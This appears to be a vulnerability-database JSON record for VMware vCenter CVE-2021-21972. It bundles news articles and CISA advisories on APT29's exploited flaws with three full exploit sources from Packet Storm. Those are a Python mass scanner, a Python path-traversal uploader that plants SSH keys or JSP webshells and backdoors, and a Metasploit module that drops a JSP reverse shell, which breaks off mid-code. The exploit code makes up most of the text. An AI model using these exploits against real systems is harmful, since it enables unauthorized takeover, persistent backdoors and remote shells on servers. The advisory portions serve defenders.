[LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2021-02-24T17:35:31", "published": "2021-02-24T07:54:00", "id": "THN:87AE96960D76D6C84D9CF86C2DDB837C", "href": "https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html", "type": "thn", "title": "Critical RCE Flaws Affect VMware ESXi and vSphere Client \u2014 Patch Now", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-11T08:24:43", "bulletinFamily": "info", "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-21972", "CVE-2021-26855"], "description": "[](<https://thehackernews.com/images/-W51kRhVBeW0/YJaCznsmgiI/AAAAAAAACfU/z7fgy604zAcZllL9m6sPApy3bUHHX9YEQCLcBGAsYHQ/s0/hacker.jpg>)\n\nCyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous [public disclosures](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) of their attack methods, according to a [new advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>) jointly published by intelligence agencies from the U.K. and U.S. Friday.\n\n\"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,\" the National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>).\n\nThese include the deployment of an open-source tool called [Sliver](<https://github.com/BishopFox/sliver>) to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.\n\n[](<https://go.thn.li/1-728-4> \"password auditor\" )\n\nThe development follows the [public attribution](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) of SVR-linked actors to the [SolarWinds](<https://thehackernews.com/2021/04/researchers-find-additional.html>) supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.\n\nThe attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway\n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\n\"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example [COVID-19 vaccine](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>) targeting in 2020,\" the NCSC said.\n\nThis was followed by a separate guidance on April 26 that [shed more light](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.\n\nNow according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to \"rapidly\" weaponize recently released public vulnerabilities that could enable initial access to their targets.\n\n * [**CVE-2019-1653**](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) \\- Cisco Small Business RV320 and RV325 Routers\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) \\- Oracle WebLogic Server\n * [**CVE-2019-7609**](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) \\- Kibana\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) \\- F5 Big-IP\n * [**CVE-2020-14882**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) \\- Oracle WebLogic Server\n * [**CVE-2021-21972**](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>) \\- VMware vSphere\n * [**CVE-2021-26855**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) \\- Microsoft Exchange Server\n\n\"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,\" the agency said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2021-05-11T06:23:38", "published": "2021-05-08T12:24:00", "id": "THN:1ED1BB1B7B192353E154FB0B02F314F4", "href": "https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html", "type": "thn", "title": "Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-06-05T18:17:48", "bulletinFamily": "info", "cvelist": ["CVE-2021-21985"], "description": "CISA is aware of the likelihood that cyber threat actors are attempting to exploit CVE-2021-21985, a remote code execution vulnerability in VMware vCenter Server and VMware Cloud Foundation. Although patches were made [available](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>) on May 25, 2021, unpatched systems remain an attractive target and attackers can exploit this vulnerability to take control of an unpatched system.\n\nCISA encourages users and administrators to review VMware\u2019s [VMSA-2021-010](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>), [blogpost](<https://blogs.vmware.com/vsphere/2021/05/vmsa-2021-0010.html>), and [FAQ](<https://core.vmware.com/resource/vmsa-2021-0010-faq>) for more information about the vulnerability and apply the necessary updates as soon as possible, even if out-of-cycle work is required. If an organization cannot immediately apply the updates, then apply the [workarounds](<https://kb.vmware.com/s/article/83829>) in the interim. \n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/04/unpatched-vmware-vcenter-software>); we'd welcome your feedback.\n", "modified": "2021-06-04T00:00:00", "published": "2021-06-04T00:00:00", "id": "CISA:177CDBFAB8460E0C0E46679B383C5C2F", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/04/unpatched-vmware-vcenter-software", "type": "cisa", "title": "Unpatched VMware vCenter Software", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-08T18:39:05", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "description": "VMware has released security updates to address multiple vulnerabilities\u2014CVE-2021-21972, CVE-2021-21973, CVE-2021-21974\u2014in ESXi, vCenter Server, and Cloud Foundation. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.\n\nCISA encourages users and administrators to review VMware Security Advisory [VMSA-2021-0002](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/02/24/vmware-releases-multiple-security-updates>); we'd welcome your feedback.\n", "modified": "2021-02-24T00:00:00", "published": "2021-02-24T00:00:00", "id": "CISA:CB32DB4C2EA92462F387E1DA6C08F57E", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/02/24/vmware-releases-multiple-security-updates", "type": "cisa", "title": "VMware Releases Multiple Security Updates", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2021-02-24T15:05:40", "description": "", "published": "2021-02-24T00:00:00", "type": "packetstorm", "title": "VMware vCenter 6.5 / 7.0 Remote Code Execution Proof Of Concept", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-02-24T00:00:00", "id": "PACKETSTORM:161527", "href": "https://packetstormsecurity.com/files/161527/VMware-vCenter-6.5-7.0-Remote-Code-Execution-Proof-Of-Concept.html", "sourceData": "`#-*- coding:utf-8 -*- \nbanner = \"\"\" \n888888ba dP \n88 `8b 88 \na88aaaa8P' .d8888b. d8888P .d8888b. dP dP \n88 `8b. 88' `88 88 Y8ooooo. 88 88 \n88 .88 88. .88 88 88 88. .88 \n88888888P `88888P8 dP `88888P' `88888P' \nooooooooooooooooooooooooooooooooooooooooooooooooooooo \n@time:2021/02/24 CVE-2021-21972.py \nC0de by NebulabdSec - @batsu \n\"\"\" \nprint(banner) \n \nimport threadpool \nimport random \nimport requests \nimport argparse \nimport http.client \nimport urllib3 \n \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) \nhttp.client.HTTPConnection._http_vsn = 10 \nhttp.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' \n \nTARGET_URI = \"/ui/vropspluginui/rest/services/uploadova\" \n \ndef get_ua(): \nfirst_num = random.randint(55, 62) \nthird_num = random.randint(0, 3200) \nfourth_num = random.randint(0, 140) \nos_type = [ \n'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', \n'(Macintosh; Intel Mac OS X 10_12_6)' \n] \nchrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) \n \nua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', \n'(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] \n) \nreturn ua \n \ndef CVE_2021_21972(url): \nproxies = {\"scoks5\": \"http://127.0.0.1:1081\"} \nheaders = { \n'User-Agent': get_ua(), \n\"Content-Type\": \"application/x-www-form-urlencoded\" \n} \ntargetUrl = url + TARGET_URI \ntry: \nres = requests.get(targetUrl, \nheaders=headers, \ntimeout=15, \nverify=False, \nproxies=proxies) \n# proxies={'socks5': 'http://127.0.0.1:1081'}) \n# print(len(res.text)) \nif res.status_code == 405: \nprint(\"[+] URL:{}--------\u5b58\u5728CVE-2021-21972\u6f0f\u6d1e\".format(url)) \n# print(\"[+] Command success result: \" + res.text + \"\\n\") \nwith open(\"\u5b58\u5728\u6f0f\u6d1e\u5730\u5740.txt\", 'a') as fw: \nfw.write(url + '\\n') \nelse: \nprint(\"[-] \" + url + \" \u6ca1\u6709\u53d1\u73b0CVE-2021-21972\u6f0f\u6d1e.\\n\") \n# except Exception as e: \n# print(e) \nexcept: \nprint(\"[-] \" + url + \" Request ERROR.\\n\") \ndef multithreading(filename, pools=5): \nworks = [] \nwith open(filename, \"r\") as f: \nfor i in f: \nfunc_params = [i.rstrip(\"\\n\")] \n# func_params = [i] + [cmd] \nworks.append((func_params, None)) \npool = threadpool.ThreadPool(pools) \nreqs = threadpool.makeRequests(CVE_2021_21972, works) \n[pool.putRequest(req) for req in reqs] \npool.wait() \n \ndef main(): \nparser = argparse.ArgumentParser() \nparser.add_argument(\"-u\", \n\"--url\", \nhelp=\"Target URL; Example:http://ip:port\") \nparser.add_argument(\"-f\", \n\"--file\", \nhelp=\"Url File; Example:url.txt\") \n# parser.add_argument(\"-c\", \"--cmd\", help=\"Commands to be executed; \") \nargs = parser.parse_args() \nurl = args.url \n# cmd = args.cmd \nfile_path = args.file \nif url != None and file_path ==None: \nCVE_2021_21972(url) \nelif url == None and file_path != None: \nmultithreading(file_path, 10) # \u9ed8\u8ba415\u7ebf\u7a0b \n \nif __name__ == \"__main__\": \nmain() \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161527/CVE-2021-21972.py.txt"}, {"lastseen": "2021-03-01T16:09:17", "description": "", "published": "2021-03-01T00:00:00", "type": "packetstorm", "title": "VMware vCenter Server 7.0 Arbitrary File Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-01T00:00:00", "id": "PACKETSTORM:161590", "href": "https://packetstormsecurity.com/files/161590/VMware-vCenter-Server-7.0-Arbitrary-File-Upload.html", "sourceData": "`# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload \n# Date: 2021-02-27 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html \n# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517) \n# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds \n# CVE: CVE-2021-21972 \n \n#!/usr/bin/env python3 \n''' \nCopyright 2021 Photubias(c) \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2021-21972.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nCVE-2021-21972 is an unauthenticated file upload and overwrite, \nexploitation can be done via SSH public key upload or a webshell \nThe webshell must be of type JSP, and its success depends heavily on the specific vCenter version \n \n# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister \n# A white page means vulnerable \n# A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet) \n# Notes: \n# * On Linux SSH key upload is always best, when SSH access is possible & enabled \n# * On Linux the upload is done as user vsphere-ui:users \n# * On Windows the upload is done as system user \n# * vCenter 6.5 <=7515524 does not contain the vulnerable component \"vropspluginui\" \n# * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload \n \nThis is a native implementation without requirements, written in Python 3. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \n \nFeatures: vulnerability checker + exploit \n''' \n \nimport os, tarfile, sys, optparse, requests \nrequests.packages.urllib3.disable_warnings() \n \nlProxy = {} \nSM_TEMPLATE = b'''<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"> \n<env:Body> \n<RetrieveServiceContent xmlns=\"urn:vim25\"> \n<_this type=\"ServiceInstance\">ServiceInstance</_this> \n</RetrieveServiceContent> \n</env:Body> \n</env:Envelope>''' \nsURL = sFile = sRpath = sType = None \n \ndef parseArguments(options): \nglobal sURL, sFile, sType, sRpath, lProxy \nif not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.') \nsURL = options.url \nif sURL[-1:] == '/': sURL = sURL[:-1] \nif not sURL[:4].lower() == 'http': sURL = 'https://' + sURL \nsFile = options.file \nif not os.path.exists(sFile): exit('[-] File not found: ' + sFile) \nsType = 'ssh' \nif options.type: sType = options.type \nif options.rpath: sRpath = options.rpath \nelse: sRpath = None \nif options.proxy: lProxy = {'https': options.proxy} \n \ndef getVersion(sURL): \ndef getValue(sResponse, sTag = 'vendor'): \ntry: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0] \nexcept: pass \nreturn '' \noResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE) \n#print(oResponse.text) \nif oResponse.status_code == 200: \nsResult = oResponse.text \nif not 'VMware' in getValue(sResult, 'vendor'): \nexit('[-] Not a VMware system: ' + sURL) \nelse: \nsName = getValue(sResult, 'name') \nsVersion = getValue(sResult, 'version') # e.g. 7.0.0 \nsBuild = getValue(sResult, 'build') # e.g. 15934073 \nsFull = getValue(sResult, 'fullName') \nprint('[+] Identified: ' + sFull) \nreturn sVersion, sBuild \nexit('[-] Not a VMware system: ' + sURL) \n \ndef verify(sURL): \n#return True \nsURL += '/ui/vropspluginui/rest/services/uploadova' \ntry: \noResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5) \nexcept: \nexit('[-] System not available: ' + sURL) \nif oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely \nelse: return False \n \ndef createTarLin(sFile, sType, sVersion, sBuild, sRpath = None): \ndef getResourcePath(): \noResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5) \nreturn oResponse.text.split('static/')[1].split('/')[0] \noTar = tarfile.open('payloadLin.tar','w') \nif sRpath: ## version & build not important \nif sRpath[0] == '/': sRpath = sRpath[1:] \nsPayloadPath = '../../' + sRpath \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'absolute' \nelif sType.lower() == 'ssh': ## version & build not important \nsPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys' \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'ssh' \nelif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631): \n## vCenter 6.5/6.7 < 13010631, just this location with a subnumber \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \nfor i in range(112): oTar.add(sFile, arcname=sPayloadPath % i) \noTar.close() \nreturn 'webshell' \nelif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631): \n## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile> \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'backdoor' \nelse: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0): \n## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>) \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'backdoor' \n \n \ndef createTarWin(sFile, sRpath = None): \n## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows \nif sRpath: \nif sRpath[0] == '/': sRpath = sRpath[:1] \nsPayloadPath = '../../' + sRpath \nelse: \nsPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile) \noTar = tarfile.open('payloadWin.tar','w') \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \n \ndef uploadFile(sURL, sUploadType, sFile): \n#print('[!] Uploading ' + sFile) \nsFile = os.path.basename(sFile) \nsUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova' \narrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')} \n## Linux \noResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy) \nif oResponse.status_code == 200: \nif oResponse.text == 'SUCCESS': \nprint('[+] Linux payload uploaded succesfully.') \nif sUploadType == 'ssh': \nprint('[+] SSH key installed for user \\'vsphere-ui\\'.') \nprint(' Please run \\'ssh vsphere-ui@' + sURL.replace('https://','') + '\\'') \nreturn True \nelif sUploadType == 'webshell': \nsWebshell = sURL + '/ui/resources/' + sFile \n#print('testing ' + sWebshell) \noResponse = requests.get(sWebshell, verify=False, proxies = lProxy) \nif oResponse.status_code != 404: \nprint('[+] Webshell verified, please visit: ' + sWebshell) \nreturn True \nelif sUploadType == 'backdoor': \nsWebshell = sURL + '/ui/resources/' + sFile \nprint('[+] Backdoor ready, please reboot or wait for a reboot') \nprint(' then open: ' + sWebshell) \nelse: ## absolute \npass \n## Windows \narrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')} \noResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy) \nif oResponse.status_code == 200: \nif oResponse.text == 'SUCCESS': \nprint('[+] Windows payload uploaded succesfully.') \nif sUploadType == 'backdoor': \nprint('[+] Absolute upload looks OK') \nreturn True \nelse: \nsWebshell = sURL + '/statsreport/' + sFile \noResponse = requests.get(sWebshell, verify=False, proxies = lProxy) \nif oResponse.status_code != 404: \nprint('[+] Webshell verified, please visit: ' + sWebshell) \nreturn True \nreturn False \n \nif __name__ == \"__main__\": \nusage = ( \n'Usage: %prog [option]\\n' \n'Exploiting Windows & Linux vCenter Server\\n' \n'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \\'\\'\\n' \n'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\\n' \n'Note2: Windows is the most vulnerable, but less mostly deprecated anyway') \n \nparser = optparse.OptionParser(usage=usage) \nparser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1') \nparser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell') \nparser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh') \nparser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile') \nparser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080') \n \n(options, args) = parser.parse_args() \n \nparseArguments(options) \n \n## Verify \nif verify(sURL): print('[+] Target vulnerable: ' + sURL) \nelse: exit('[-] Target not vulnerable: ' + sURL) \n \n## Read out the version \nsVersion, sBuild = getVersion(sURL) \nif sRpath: print('[!] Ready to upload your file to ' + sRpath) \nelif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \\'' + sFile + '\\'') \nelse: print('[!] Ready to upload webshell \\'' + sFile + '\\'') \nsAns = input('[?] Want to exploit? [y/N]: ') \nif not sAns or not sAns[0].lower() == 'y': exit() \n \n## Create TAR file \nsUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath) \nif not sUploadType == 'ssh': createTarWin(sFile, sRpath) \n \n## Upload and verify \nuploadFile(sURL, sUploadType, sFile) \n \n## Cleanup \nos.remove('payloadLin.tar') \nos.remove('payloadWin.tar') \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161590/vmwarevcenterserver70-upload.txt"}, {"lastseen": "2021-03-08T16:24:36", "description": "", "published": "2021-03-08T00:00:00", "type": "packetstorm", "title": "VMware vCenter Server File Upload / Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-08T00:00:00", "id": "PACKETSTORM:161695", "href": "https://packetstormsecurity.com/files/161695/VMware-vCenter-Server-File-Upload-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \n# \"Shotgun\" approach to writing JSP \nRank = ManualRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE', \n'Description' => %q{ \nThis module exploits an unauthenticated OVA file upload and path \ntraversal in VMware vCenter Server to write a JSP payload to a \nweb-accessible directory. \n \nFixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c. \nNote that later vulnerable versions of the Linux appliance aren't \nexploitable via the webshell technique. Furthermore, writing an SSH \npublic key to /home/vsphere-ui/.ssh/authorized_keys works, but the \nuser's non-existent password expires 90 days after install, rendering \nthe technique nearly useless against production environments. \n \nYou'll have the best luck targeting older versions of the Linux \nappliance. The Windows target should work ubiquitously. \n}, \n'Author' => [ \n'Mikhail Klyuchnikov', # Discovery \n'wvu', # Analysis and exploit \n'mr_me', # Co-conspirator \n'Viss' # Co-conspirator \n], \n'References' => [ \n['CVE', '2021-21972'], \n['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'], \n['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'], \n['URL', 'https://twitter.com/jas502n/status/1364810720261496843'], \n['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'], \n['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'], \n['URL', 'https://kb.vmware.com/s/article/2143838'], \n['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html'] \n], \n'DisclosureDate' => '2021-02-23', # Vendor advisory \n'License' => MSF_LICENSE, \n'Platform' => ['linux', 'win'], \n'Arch' => ARCH_JAVA, \n'Privileged' => false, # true on Windows \n'Targets' => [ \n[ \n# TODO: /home/vsphere-ui/.ssh/authorized_keys \n'VMware vCenter Server <= 6.7 Update 1b (Linux)', \n{ \n'Platform' => 'linux' \n} \n], \n[ \n'VMware vCenter Server <= 6.7 Update 3j (Windows)', \n{ \n'Platform' => 'win' \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'PAYLOAD' => 'java/jsp_shell_reverse_tcp', \n'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint' \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], \n'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint'] \n} \n) \n) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \n \nregister_advanced_options([ \n# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index> \nOptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me \nOptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu \n]) \nend \n \ndef spray_and_pray_min \ndatastore['SprayAndPrayMin'] \nend \n \ndef spray_and_pray_max \ndatastore['SprayAndPrayMax'] \nend \n \ndef spray_and_pray_range \n(spray_and_pray_min..spray_and_pray_max).to_a \nend \n \ndef check \n# Run auxiliary/scanner/vmware/esx_fingerprint \nsuper \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \ncase res.code \nwhen 200 \n# {\"States\":\"[]\",\"Install Progress\":\"UNKNOWN\",\"Config Progress\":\"UNKNOWN\",\"Config Final Progress\":\"UNKNOWN\",\"Install Final Progress\":\"UNKNOWN\"} \nexpected_keys = [ \n'States', \n'Install Progress', \n'Install Final Progress', \n'Config Progress', \n'Config Final Progress' \n] \n \nif (expected_keys & res.get_json_document.keys) == expected_keys \nreturn CheckCode::Vulnerable('Unauthenticated endpoint access granted.') \nend \n \nCheckCode::Detected('Target did not respond with expected keys.') \nwhen 401 \nCheckCode::Safe('Unauthenticated endpoint access denied.') \nelse \nCheckCode::Detected(\"Target responded with code #{res.code}.\") \nend \nend \n \ndef exploit \nupload_ova \npop_thy_shell # ;) \nend \n \ndef upload_ova \nprint_status(\"Uploading OVA file: #{ova_filename}\") \n \nmultipart_form = Rex::MIME::Message.new \nmultipart_form.add_part( \ngenerate_ova, \n'application/x-tar', # OVA is tar \n'binary', \n%(form-data; name=\"uploadFile\"; filename=\"#{ova_filename}\") \n) \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'), \n'ctype' => \"multipart/form-data; boundary=#{multipart_form.bound}\", \n'data' => multipart_form.to_s \n) \n \nunless res && res.code == 200 && res.body == 'SUCCESS' \nfail_with(Failure::NotVulnerable, 'Failed to upload OVA file') \nend \n \nregister_files_for_cleanup(*jsp_paths) \n \nprint_good('Successfully uploaded OVA file') \nend \n \ndef pop_thy_shell \njsp_uri = \ncase target['Platform'] \nwhen 'linux' \nnormalize_uri(target_uri.path, \"/ui/resources/#{jsp_filename}\") \nwhen 'win' \nnormalize_uri(target_uri.path, \"/statsreport/#{jsp_filename}\") \nend \n \nprint_status(\"Requesting JSP payload: #{full_uri(jsp_uri)}\") \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => jsp_uri \n) \n \nunless res && res.code == 200 \nfail_with(Failure::PayloadFailed, 'Failed to request JSP payload') \nend \n \nprint_good('Successfully requested JSP payload') \nend \n \ndef generate_ova \nova_file = StringIO.new \n \n# HACK: Spray JSP in the OVA and pray we get a shell... \nRex::Tar::Writer.new(ova_file) do |tar| \njsp_paths.each do |path| \n# /tmp/unicorn_ova_dir/../../<path> \ntar.add_file(\"../..#{path}\", 